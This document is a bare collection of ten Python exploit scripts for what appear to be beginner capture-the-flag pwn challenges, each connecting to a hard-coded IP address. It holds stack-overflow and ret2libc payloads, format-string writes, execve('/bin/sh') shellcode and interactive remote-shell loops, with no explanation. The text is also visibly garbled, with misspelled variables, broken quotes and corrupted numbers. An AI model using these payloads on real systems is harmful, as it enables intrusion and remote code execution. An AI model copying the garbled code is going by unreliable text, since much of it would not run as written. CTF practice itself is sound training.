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1.cgpwn2

import struct
import socket

def p32(value):
return struct.pack("<I", value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",39143))
payload = b"a" * @x26 + b'b"' * Ox4 + p32(0x8048420) + p32(0) + p32(0x804A080) + b"\n"

print(tcp.recv(1024).decode(),end="")
tcp.send(b"/bin/sh\n")
print(tcp.recv(1024).decode(),end="")
tcp.send(payload)
print(tcp.recv(1024).decode(),end="")
while True:

cmd = bytes(input("cmd>>"),"utf-8")
if emd == b'exit':

tcp.close()

exit(o)

elif ecmd == b"":

continue

tcp.send(cmd + b'\n")
print(tcp.recv(1024).decode(),end="")
tcp.close()

2.when_did_you_born
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import struct
import socket

def p32(value):
return struct.pack("<I", 6 value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",38557))

payload = 0x8 * b'a' + p32(1926) + b'\n"'
tcp.recv(1024).decode()

tcp.send(b"20\n")

tcp.recv(1024).decode()

tcp.send(payload)

tcp.recv(1024).decode()
print(tcp.recv(1024).decode(),end="")

tcp.close()

3.hello_pwn

import struct
import socket

def p32(value):
return struct.pack("<I", 6 value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",48442))

payload = b"a" * 4 + p32(0x6E756161) + b"\n"
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(payload)
print(tcp.recv(1024).decode(),end="")

tcp.close()

4.level2

import struct
import socket

def p32(value):
return struct.pack("<I", value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",55086))
payload = 0x88 * b'a' + b'b"' * x4 + p32(0x8048320) + p32(0) + p32(0x804A024) + b"\n"
print(tcp.recv(1024).decode(),end="")
tcp.send(payload)
while True:
cnd = bytes(input("cmd>>"),"utf-8")
if emd == b'exit':
tcp.close()
exit(@)
elif cmd == b"":
continue
tcp.send(cmd + b'\n")
print(tcp.recv(1024).decode(),end="")
tcp.close()

5.guess_num



import struct
import socket
from ctypes import *

def p32(value):

return struct.pack("<I", 6 value)
def p64(value):

return struct.pack("<Q",value)

libc = cdll.LoadLibrary("/1lib/x86_64-1inux-gnu/libc.so.6")
libc.srand(1)

tmp = []

for i in range(10):

tmp.append(libc.rand() % 6 + 1)

print(tmp)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",49472))
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
payload = 0x20 * b'a' + p64(1) + b'\n' #FEFHLEHIEFHFH1
tcp.send(payload)
print(tcp.recv(1024).decode(),end="")
for i in tmp:

print(tcp.recv(1024).decode(),end="")
tcp.send(bytes(str(i),"utf-8") + b'\n")

print(i)

print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.close()

6.int_overflow

import struct
import socket
from ctypes import *

def p32(value):
return struct.pack("<I", value)

payload = 0x14 * b'a' + @x4 * b'b' + p32(0x804868B)
payload = payload.ljust(260,b'a")

payload += b"\n"

print(payload)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",45055))
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(b"1\n")
print(tcp.recv(1024).decode(),end="")
tcp.send(b"name\x00")
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(payload)
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.close()



7.string

import struct
import socket
import re

def p32(value):

return struct.pack("<I", 6 value)
def p64(value):

return struct.pack("<Q",value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",45072))
print(tcp.recv(1024).decode(),end="")

print(tcp.recv(1024).decode(),end="")

tmp = tcp.recv(2048).decode()

print(tmp)

pattern = re.compile(r'secret\[0\] is (.*?)\n")
addrs = int(pattern.findall(tmp)[0],16)
print(hex(addrs))

tcp.send(b"name\n")
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(b"east\n")
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(b"1\n")
print(tcp.recv(1024).decode(),end="")
print(tcp.recv(1024).decode(),end="")
tcp.send(bytes(str(addrs),"utf-8") + b'\n")
print(tcp.recv(1024).decode(),end="")
#tcp.send(b'aaaa-%p-%p-%p-%p-%p-Lp-p-Zp-%p-%p\n")
tcp.send(b"%85c%7$n\n")
print(tcp.recv(1024).decode(errors="ignore"),end="")
print(tcp.recv(1024).decode(errors="ignore"),end="")
shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5F\x52\x57\x54\x5e\x0f\x05\n
tcp.send(shellcode)
while True:

cmd = bytes(input("cmd>>"),"utf-8")

if cmd == b'exit':

tcp.close()

exit(o)

elif cmd == b"":

continue

tcp.send(cmd + b'\n")

print(tcp.recv(2048).decode(errors="ignore"),end="")
tcp.close()

8.level3



#coding=utf-8
from pwn import *

def main():

p = remote("111.198.29.45",31982)

#p = process("./level3")

elf = ELF("./level3")

libc = ELF("./1libc_32.s0.6")# AR IR #HIFE/FHITHE i, A B/ HE H i EpILibe X1
write plt = elf.plt[ 'write']

__libc_main_addr = elf.got[' libc_start main']

main_addr = elf.symbols[ 'main’]

payload = flat(["A" * (0x88 + 4),write_plt,main_addr,1,_ libc_main_addr,oxffffffff])
p.recv()

p.send(payload)

__1libc_start_main_addr = u32(p.recv()[:4])

libc_addr = _ libc_start_main_addr - libc.symbols|[' libc_start main']

sys_addr = libc_addr + libc.symbols| 'system']

bin_sh_addr = libc_addr + next(libc.search(b"/bin/sh"))

payload = flat(["A" * (0x88 + 4),sys_addr,oxffffffff,bin_sh_addr])

#p.recv()

p.send(payload)

p.interactive()

9.get_shell

import struct
import socket
tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",55206))
while True:
cmd = bytes(input("cmd>>"),"utf-8")
if emd == b'exit':
tcp.close()
exit(o)
elif ecmd == b"":
continue
tcp.send(cmd + b'\n")
print(tcp.recv(1024).decode(errors="ignore"),end="")

10.CGfsb



import struct
import socket

def p32(value):
return struct.pack("<I", 6 value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",39932))
print(tcp.recv(1024).decode(errors="ignore"),end="")
tcp.send(b"bbbb\n")
print(tcp.recv(1024).decode(errors="ignore"),end="")
print(tcp.recv(1024).decode(errors="ignore"),end="")
payload = p32(0x804A068) + b"aaaa" + b"%10%$n" + b'\n’
tcp.send(payload)
print(tcp.recv(1024).decode(errors="ignore"),end="")
print(tcp.recv(1024).decode(errors="ignore"),end="")
tcp.close()
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